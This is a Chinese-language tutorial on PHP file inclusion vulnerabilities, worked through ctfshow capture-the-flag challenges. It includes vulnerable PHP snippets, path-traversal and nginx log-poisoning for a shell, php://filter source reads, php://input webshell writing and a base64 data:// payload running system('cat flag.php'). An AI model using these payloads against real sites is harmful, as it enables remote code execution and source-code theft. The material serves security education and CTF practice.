漏洞简介
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,则无须再次编写,这种调用文件的过程一般称为文件包含。如果包含的文件参数是可控的,那么就会导致文件包含漏洞的产生,文件包含可以分为本地文件包含和远程文件包含。
本地文件包含
能够访问并且包含本地文件的漏洞,被称为本地文件包含漏洞,本地文件包含漏洞含多种利用的方式,以下是比较常用的几种:向允许上传的文件种写入恶意代码并上传,利用文件上传漏洞包含目标文件、包含 PHP 上传的临时文件、在请求 URL 或者 UA 里面加入要执行的代码、恶意代码记录到日志后再包含 WebServer 的日志
漏洞实战
以下是来自 ctfshow 的一道文件包含题目,题目源代码如下:
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
可以看到这道题目把 php、data 和 :给过滤替换了,也就是说不能使用 data:// 伪协议去绕过 php 了,但是通过指纹探测发现这是 nginx 的服务器,前面讲到了可以利用日志来 getshell,那么现在尝试去读取一下日志文件,payload 如下:
/?file=../../../../var/log/nginx/access.log
接下来利用 BurpSuite 来进行抓包,在 UA 处添加一句话木马或者直接执行命令的语句
再次读取 nginx 的日志文件发现执行了 ls 的命令
远程文件包含
如果要使用远程包含的功能,需要在 php.ini 配置文件中修改以下配置:
allow_url_fopen = On
allow_url_include = On
远程文件包含其实跟本地文件包含没有什么区别,两者无论是哪种扩展名,只要遵循 PHP 语法的规范,PHP 解析器就会对其进行解析,但是远程的 URL 资源可以被恶意用户所控制,所以远程文件包含漏洞的危害性比较大
PHP伪协议
PHP 带有很多内置 URL 风格的封装协议(伪协议),如果将这些伪协议和文件包含漏洞一起配合使用会有很大的利用效果
php://filter
我们可以使用 php://filter 伪协议来配合文件包含漏洞来读取网站的源代码,因为文件包含会解析符合 PHP 语法规范的语句文件(前面也有提及到),所以可以借助这一特征来用 filter 伪协议对目标网站的文件进行编码输出(具体是哪种编码要根据使用的语句去决定),解码就可以拿到目标网站文件的源代码
?file=php://filter/read=convert.base64-encode/resource=目标文件
?file=php://filter/convert.base64-encode/resource=目标文件
实战案例
以下是来自 ctfshow 的一道文件包含题目,题目源代码如下:
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
可以看到这里存在包含的 include 的文件 $file 由 file 参数来控制,所以我们可以尝试使用 php://filter 来将 flag 文件读取出来,在这里采用了 base64 编码输出的形式,payload 如下:
?file=php://filter/read=convert.base64-encode/resource=flag.php
包含成功拿到了一串 Base64 编码后字符串
进行解码就可以得到含有 flag 的源代码信息
php://input
使用 php://input 可以获取到 POST 的数据流,如果满足远程文件包含条件,可以直接执行 PHP 语句,也就是发送过去 PHP 代码执行
如果发送的数据是写入一句话木马的 PHP 代码,那么就会在当前的目录下写入一个木马
');?>
此时的木马就已经被写入到了 index.php 的同级目录下
同理,也可以直接用命令来执行,发送数据内容如下:
data://
data:// 类似于 php://input,也需要开启远程文件包含,如果和文件包含相结合,可以将原本的 include 的文件流重新定向到用户可控制的输入流中,简单来说就是执行文件的包含方法包含了输入流,导致可以执行任意 payload
?file=data://text/plain;
实战案例:
以下是来自 ctfshow 的一道文件包含题目,题目源代码如下:
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
可以看到对 php 进行了过滤替换,此时可以考虑用 data:// 伪协议,利用 base64 编码的方式将 php 进行绕过,payload 如下:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
解码后是: system('cat flag.php');
执行之后在源代码处发现 Flag